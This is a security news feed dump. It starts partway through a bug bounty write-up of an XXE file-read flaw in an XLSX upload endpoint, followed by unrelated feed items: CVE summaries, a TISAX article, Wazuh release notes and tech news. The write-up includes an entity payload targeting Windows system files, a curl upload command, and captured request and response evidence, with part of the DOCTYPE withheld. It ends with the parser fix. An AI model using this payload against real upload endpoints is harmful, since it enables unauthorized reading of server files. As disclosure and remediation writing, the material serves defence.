&lt;sheetData&gt;<br>    &lt;row r="1"&gt;&lt;c r="A1" t="str"&gt;&lt;v&gt;PolicyNo&lt;/v&gt;&lt;/c&gt;&lt;/row&gt;<br>    &lt;row r="2"&gt;&lt;c r="A2" t="str"&gt;&lt;v&gt;&amp;xxe;&lt;/v&gt;&lt;/c&gt;&lt;/row&gt;<br>  &lt;/sheetData&gt;<br>&lt;/worksheet&gt;"""</pre><p>Once assembled and zipped, the upload is a standard multipart POST, indistinguishable at the transport layer from a legitimate spreadsheet. The server does the rest.</p><h3>Steps to Reproduce</h3><p><strong>Prerequisites:</strong> nothing. No account, no session token, no prior interaction with the application.</p><p><strong>Step 1.</strong> Build a valid XLSX ZIP structure containing the five files described in “Building the Payload,” with `sheet1.xml` carrying the `DOCTYPE` entity declaration targeting `file:///C:/windows/win.ini`.</p><p><strong>Step 2.</strong> POST the file to the upload endpoint:</p><pre>curl -s -X POST "https://[REDACTED]/[REDACTED]/CombineExcelUpload" \<br> -H "Referer: https://[REDACTED]/[REDACTED]/index" \<br> -F "excelFile=@OUR_PAYLOAD_FILE_CONSTRUCTED.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"</pre><p><strong>Step 3. </strong>Observe the response. The JSON will contain the contents of `C:\windows\win.ini` from the remote server. A successful read looks like:</p><pre>[*] Built: /tmp/OUR_PAYLOAD_FILE_CONSTRUCTED.xlsx<br>[*] Target: file:///C:/windows/win.ini<br>[*] Uploading...<br>[+] responseCode: 1<br>[+] File contents:<br>────────────────────────────────────────────────────────────<br>; for 16-bit app support<br>[fonts]<br>[extensions]<br>[mci extensions]<br>[files]<br>[Mail]<br>MAPI=1<br>────────────────────────────────────────────────────────────</pre><p><strong>Step 4.</strong> To read a different file, set `TARGET_FILE` at the top of the script and run again.</p><p><strong>What Came Back: The Full HTTP Evidence</strong></p><p>Three separate reads were performed to establish reproducibility, all confirmed within the same session.</p><p><strong>Read 1: `C:\windows\win.ini`</strong></p><pre>POST /[REDACTED]/CombineExcelUpload HTTP/1.1<br>Host: [REDACTED]<br>Referer: https://[REDACTED]/[REDACTED]/index<br>Origin: https://[REDACTED]<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36<br>Accept: application/json, text/plain, */*<br>Content-Type: multipart/form-data; boundary=----xxeboundary<br><br>------xxeboundary<br>Content-Disposition: form-data; name="excelFile"; filename="malicious_bugbounty_1775798050.xlsx"<br>Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet<br>[Binary XLSX - xl/worksheets/sheet1.xml contains:]<br>&lt;!DOCTYPE foo ..(Syntax -&gt; `[&lt;!` (medium Prevent the full code here*)) ENTITY xxe SYSTEM "file:///C:/windows/win.ini"&gt;]&gt;<br>&lt;v&gt;&amp;xxe;&lt;/v&gt;<br>------xxeboundary--</pre><p>Response:</p><pre>HTTP/1.1 200 OK<br>Content-Type: application/json; charset=utf-8<br>X-Content-Type-Options: nosniff<br>Strict-Transport-Security: max-age=31536000; includeSubDomains<br>X-Frame-Options: SAMEORIGIN<br><br>{"uploadResult":"; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n","responseCode":"1"}</pre><p><strong>Read 2: `C:\Windows\System32\drivers\etc\hosts`</strong></p><p>Identical request structure, `TARGET_FILE` changed. Response:</p><pre>{"uploadResult":"# Copyright (c) 1993-2009 Microsoft Corp.\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n...[REDACTED]...\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1       localhost\r\n#\t::1             localhost\r\n","responseCode":"1"}</pre><p><strong>Read 3: `C:\Windows\system.ini`</strong></p><pre>{"uploadResult":"; for 16-bit app support\r\n[386Enh]\r\nwoafont=[REDACTED]\r\n...\r\n[drivers]\r\nwave=mmdrv.dll\r\ntimer=timer.drv\r\n[mci]\r\n","responseCode":"1"}</pre><p>Three reads. Three different file paths. Same exploit, same endpoint, same unauthenticated access. Reproducible on every run.</p><h3>What Comes After the Door Opens</h3><p>I want to be honest about what finding a vulnerability actually feels like, because the stories we tell each other often skip this part.</p><p>It doesn’t feel triumphant. Not immediately. It feels more like the moment after you’ve been carrying a question for a long time and the answer finally arrives. There’s relief, and then immediately, a new set of questions. — <em>How deep does this go? What else can I read? Can I turn this into something more?</em></p><p>I tried to push further. The natural next target was the application’s configuration file, `web.config` in ASP.NET, which would contain database credentials and API keys in plaintext. But `web.config` is itself an XML file. When its content lands inside the cell value tag, the XML parser sees `&lt;connectionStrings&gt;` and `&lt;appSettings&gt;` as XML markup rather than cell content, and throws a parse error. The file doesn’t come through.</p><p>There’s a workaround for this: the external DTD with CDATA wrapping technique. But that requires the server to make an outbound HTTP request to a server you control, to fetch the DTD. The load balancer blocked all outbound connections from the backend. Not one callback received. That path was closed. Three hundred guesses at the physical deployment path, across different drives, different naming conventions, different enterprise folder structures. None of them landed. Without the physical path, you can’t target application-specific files.</p><p><em>The vulnerability stayed where it was. An unauthenticated, reliable, in-band arbitrary file read. High (8.6) severity accepted.</em></p><h3>The Fix</h3><p>The root cause is a single configuration decision that was never made. In .NET, XML parsers have external entity resolution <strong>enabled by default</strong>. The developer who wrote the XLSX processing code used the library without reading the security section of the documentation, and the insecure default was never changed. The fix is two lines :</p><pre>var settings = new XmlReaderSettings {<br>    DtdProcessing = DtdProcessing.Prohibit,<br>    XmlResolver = null</pre><p>Or more completely: replace the custom XML parsing with a hardened XLSX library like EPPlus or ClosedXML that disables external entity resolution by design. Add authentication to the upload endpoint. Done.</p><p>That’s what this work is, at the end of it. Not a conquest. A conversation between a researcher and a system, mediated by a file format that turned out to have more to say than anyone expected.</p><p><em>The file answered back. The system is safer. The story continues</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=20dbb8161dd8" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-file-that-answered-back-xxe-hidden-in-cell-a2-20dbb8161dd8">The File That Answered Back — XXE Hidden in Cell A2</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interaktive Grafik zeigt jedes iPad, das es bisher gab]]></title>
<description><![CDATA[Das Studio sheet.works bereitet Daten aus den Bereichen Technologie, Kino, Sport, Geopolitik und mehr regelmäßig in interaktiven Visualisierung für die Öffentlichkeit auf. Nun hat sich das Unternehmen an einen interaktiven Zeitstrahl gewagt, der alle iPad-Modelle abbildet. Bereits zuvor hatte she...]]></description>
<link>https://tsecurity.de/de/3644941/ios-mac-os/interaktive-grafik-zeigt-jedes-ipad-das-es-bisher-gab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3644941/ios-mac-os/interaktive-grafik-zeigt-jedes-ipad-das-es-bisher-gab/</guid>
<pubDate>Sat, 04 Jul 2026 09:09:16 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Das Studio sheet.works bereitet Daten aus den Bereichen Technologie, Kino, Sport, Geopolitik und mehr regelmäßig in interaktiven Visualisierung für die Öffentlichkeit auf. Nun hat sich das Unternehmen an einen interaktiven Zeitstrahl gewagt, der alle iPad-Modelle abbildet. Bereits zuvor hatte sheet.works das schon für alle Modelle von Apples iPhone gemacht. Die Grafik, die „Every iPad Apple […]</p>
<p>Der Beitrag <a href="https://www.appgefahren.de/interaktive-grafik-zeigt-jedes-ipad-das-es-bisher-gab-401778.html">Interaktive Grafik zeigt jedes iPad, das es bisher gab</a> erschien zuerst auf <a href="https://www.appgefahren.de/">appgefahren.de</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security]]></title>
<description><![CDATA[This is the part 4 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1). ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security Chapter…
Read more →
The post ISA VDA 6.0.3 (part 4) — Information Security Sheet...]]></description>
<link>https://tsecurity.de/de/3643951/it-security-nachrichten/isa-vda-603-part-4-information-security-sheet-it-security-cyber-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643951/it-security-nachrichten/isa-vda-603-part-4-information-security-sheet-it-security-cyber-security/</guid>
<pubDate>Fri, 03 Jul 2026 18:26:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 4 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1). ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security Chapter…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-4-information-security-sheet-it-security-cyber-security-2/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-4-information-security-sheet-it-security-cyber-security-2/">ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows' market share is below 60% for the first time, while Linux's market share is at a yearly high]]></title>
<description><![CDATA[Linux market share is 4.39 percent. But there is 21.45 percent unknown. I think majority of them are Linux User. If only the anti-cheat issue in those online games were resolved, seeing 10% figures would be well within reach.    submitted by    /u/bulasaur58   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3642585/linux-tipps/windows-market-share-is-below-60-for-the-first-time-while-linuxs-market-share-is-at-a-yearly-high/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642585/linux-tipps/windows-market-share-is-below-60-for-the-first-time-while-linuxs-market-share-is-at-a-yearly-high/</guid>
<pubDate>Fri, 03 Jul 2026 04:08:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Linux market share is 4.39 percent. But there is 21.45 percent unknown. I think majority of them are Linux User. If only the anti-cheat issue in those online games were resolved, seeing 10% figures would be well within reach.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bulasaur58"> /u/bulasaur58 </a> <br> <span><a href="https://gs.statcounter.com/os-market-share/desktop/worldwide/#monthly-202505-202606">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ulu80h/windows_market_share_is_below_60_for_the_first/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reverse Engineering Warframe's usermode anti-cheat]]></title>
<description><![CDATA[submitted by    /u/sr_2003   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3642575/reverse-engineering/reverse-engineering-warframes-usermode-anti-cheat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642575/reverse-engineering/reverse-engineering-warframes-usermode-anti-cheat/</guid>
<pubDate>Fri, 03 Jul 2026 04:07:23 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/sr_2003"> /u/sr_2003 </a> <br> <span><a href="https://medium.com/p/reverse-engineering-warframes-anti-cheat-system-aae5e6272a4b?source=social.tw">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1ulkydu/reverse_engineering_warframes_usermode_anticheat/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12168 | Little Orbit GameFirst Anti-Cheat up to 2025-07-07 Kernel Mode GFAC_Sys_x64.sys write-what-where condition (EUVD-2026-41378)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Little Orbit GameFirst Anti-Cheat up to 2025-07-07. The affected element is an unknown function in the library GFAC_Sys_x64.sys of the component Kernel Mode. The manipulation results in write-what-where condition.

This vulnerability is reported...]]></description>
<link>https://tsecurity.de/de/3642175/sicherheitsluecken/cve-2026-12168-little-orbit-gamefirst-anti-cheat-up-to-2025-07-07-kernel-mode-gfacsysx64sys-write-what-where-condition-euvd-2026-41378/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642175/sicherheitsluecken/cve-2026-12168-little-orbit-gamefirst-anti-cheat-up-to-2025-07-07-kernel-mode-gfacsysx64sys-write-what-where-condition-euvd-2026-41378/</guid>
<pubDate>Thu, 02 Jul 2026 22:09:59 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/little_orbit:gamefirst_anti-cheat">Little Orbit GameFirst Anti-Cheat up to 2025-07-07</a>. The affected element is an unknown function in the library <em>GFAC_Sys_x64.sys</em> of the component <em>Kernel Mode</em>. The manipulation results in write-what-where condition.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-12168">CVE-2026-12168</a>. The attack requires a local approach. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12166 | Little Orbit GameFirst Anti-Cheat up to 2025-07-07 Requests GFAC_Sys_x64.sys null pointer dereference (EUVD-2026-41377)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Little Orbit GameFirst Anti-Cheat up to 2025-07-07. The impacted element is an unknown function in the library GFAC_Sys_x64.sys of the component Requests Handler. This manipulation causes null pointer dereference.

This vulne...]]></description>
<link>https://tsecurity.de/de/3642174/sicherheitsluecken/cve-2026-12166-little-orbit-gamefirst-anti-cheat-up-to-2025-07-07-requests-gfacsysx64sys-null-pointer-dereference-euvd-2026-41377/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642174/sicherheitsluecken/cve-2026-12166-little-orbit-gamefirst-anti-cheat-up-to-2025-07-07-requests-gfacsysx64sys-null-pointer-dereference-euvd-2026-41377/</guid>
<pubDate>Thu, 02 Jul 2026 22:09:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/little_orbit:gamefirst_anti-cheat">Little Orbit GameFirst Anti-Cheat up to 2025-07-07</a>. The impacted element is an unknown function in the library <em>GFAC_Sys_x64.sys</em> of the component <em>Requests Handler</em>. This manipulation causes null pointer dereference.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-12166">CVE-2026-12166</a>. The attack may be initiated remotely. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12167 | Little Orbit GameFirst Anti-Cheat up to 2025-07-07 GFAC_Sys_x64.sys access control (EUVD-2026-41376)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Little Orbit GameFirst Anti-Cheat up to 2025-07-07. This affects an unknown function in the library GFAC_Sys_x64.sys. Such manipulation leads to improper access controls.

This vulnerability is traded as CVE-2026-12167. An attack has...]]></description>
<link>https://tsecurity.de/de/3642173/sicherheitsluecken/cve-2026-12167-little-orbit-gamefirst-anti-cheat-up-to-2025-07-07-gfacsysx64sys-access-control-euvd-2026-41376/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3642173/sicherheitsluecken/cve-2026-12167-little-orbit-gamefirst-anti-cheat-up-to-2025-07-07-gfacsysx64sys-access-control-euvd-2026-41376/</guid>
<pubDate>Thu, 02 Jul 2026 22:09:56 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/little_orbit:gamefirst_anti-cheat">Little Orbit GameFirst Anti-Cheat up to 2025-07-07</a>. This affects an unknown function in the library <em>GFAC_Sys_x64.sys</em>. Such manipulation leads to improper access controls.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-12167">CVE-2026-12167</a>. An attack has to be approached locally. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Smart Glasses Cheat Sheet: Meta, Google, Apple, and the Race for Your Face]]></title>
<description><![CDATA[Compare smart glasses from Meta, Google, Samsung, Apple, Snap, Xreal, and others, including features, use cases, buying tips, and privacy risks.]]></description>
<link>https://tsecurity.de/de/3641898/it-nachrichten/the-smart-glasses-cheat-sheet-meta-google-apple-and-the-race-for-your-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641898/it-nachrichten/the-smart-glasses-cheat-sheet-meta-google-apple-and-the-race-for-your-face/</guid>
<pubDate>Thu, 02 Jul 2026 19:18:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Compare smart glasses from Meta, Google, Samsung, Apple, Snap, Xreal, and others, including features, use cases, buying tips, and privacy risks.]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 3]]></title>
<description><![CDATA[What's Changed

Improve cluster file synchronization error handling by @TomasTurina in #36129
Update trojan signatures to avoid false positives on modern distros by @Miguevrgo in #35927
Improve cluster merged file parameter validation by @vikman90 in #36204
Create a backup of local_rules.xml duri...]]></description>
<link>https://tsecurity.de/de/3641637/it-security-tools/wazuh-v500-beta-3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641637/it-security-tools/wazuh-v500-beta-3/</guid>
<pubDate>Thu, 02 Jul 2026 17:49:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Improve cluster file synchronization error handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454599181" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36129" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36129/hovercard" href="https://github.com/wazuh/wazuh/pull/36129">#36129</a></li>
<li>Update trojan signatures to avoid false positives on modern distros by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390541461" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35927" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35927/hovercard" href="https://github.com/wazuh/wazuh/pull/35927">#35927</a></li>
<li>Improve cluster merged file parameter validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476621950" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36204" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36204/hovercard" href="https://github.com/wazuh/wazuh/pull/36204">#36204</a></li>
<li>Create a backup of local_rules.xml during execution of IT analysisd tier 0 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475277385" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36201" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36201/hovercard" href="https://github.com/wazuh/wazuh/pull/36201">#36201</a></li>
<li>Improve tmp_file path validation in cluster DAPI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486930454" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36246" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36246/hovercard" href="https://github.com/wazuh/wazuh/pull/36246">#36246</a></li>
<li>Revert bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495350373" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36303" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36303/hovercard" href="https://github.com/wazuh/wazuh/pull/36303">#36303</a></li>
<li>Bump 4.14.7 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496470145" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36312" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36312/hovercard" href="https://github.com/wazuh/wazuh/pull/36312">#36312</a></li>
<li>Serialize procps access to prevent modulesd crash by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489581046" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36261" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36261/hovercard" href="https://github.com/wazuh/wazuh/pull/36261">#36261</a></li>
<li>Remove obsolete configuration blocks from API upload_configuration setting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487498848" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36252" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36252/hovercard" href="https://github.com/wazuh/wazuh/pull/36252">#36252</a></li>
<li>Restore working vulnerability scanner database workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502088595" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36332" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36332/hovercard" href="https://github.com/wazuh/wazuh/pull/36332">#36332</a></li>
<li>Propagate agent merged_sum after hot reload in cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468736412" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36164" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36164/hovercard" href="https://github.com/wazuh/wazuh/pull/36164">#36164</a></li>
<li>Merge 4.14.7 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501542567" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36331" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36331/hovercard" href="https://github.com/wazuh/wazuh/pull/36331">#36331</a></li>
<li>Authd tier 0-1 flaky tests fix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504446587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36342" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36342/hovercard" href="https://github.com/wazuh/wazuh/pull/36342">#36342</a></li>
<li>Review agent info logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485038079" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36234" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36234/hovercard" href="https://github.com/wazuh/wazuh/pull/36234">#36234</a></li>
<li>Fix the wazuh-manager-modules crash that occurs while downloading the feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503648565" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36337" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36337/hovercard" href="https://github.com/wazuh/wazuh/pull/36337">#36337</a></li>
<li>Migrate FIM DB path queries to parameterized statements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517817292" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36399" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36399/hovercard" href="https://github.com/wazuh/wazuh/pull/36399">#36399</a></li>
<li>Fix AlmaLinux 9/10 bootloader permissions SCA check regex and optional file handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515333133" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36396" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36396/hovercard" href="https://github.com/wazuh/wazuh/pull/36396">#36396</a></li>
<li>Cluster file processing parameter validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494129534" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36296" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36296/hovercard" href="https://github.com/wazuh/wazuh/pull/36296">#36296</a></li>
<li>Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523024537" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36407" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36407/hovercard" href="https://github.com/wazuh/wazuh/pull/36407">#36407</a></li>
<li>Treat the absence of the hash document as expected, not an error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505113598" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36355" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36355/hovercard" href="https://github.com/wazuh/wazuh/pull/36355">#36355</a></li>
<li>geo_point validation support all compatible formats by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423592068" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36034" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36034/hovercard" href="https://github.com/wazuh/wazuh/pull/36034">#36034</a></li>
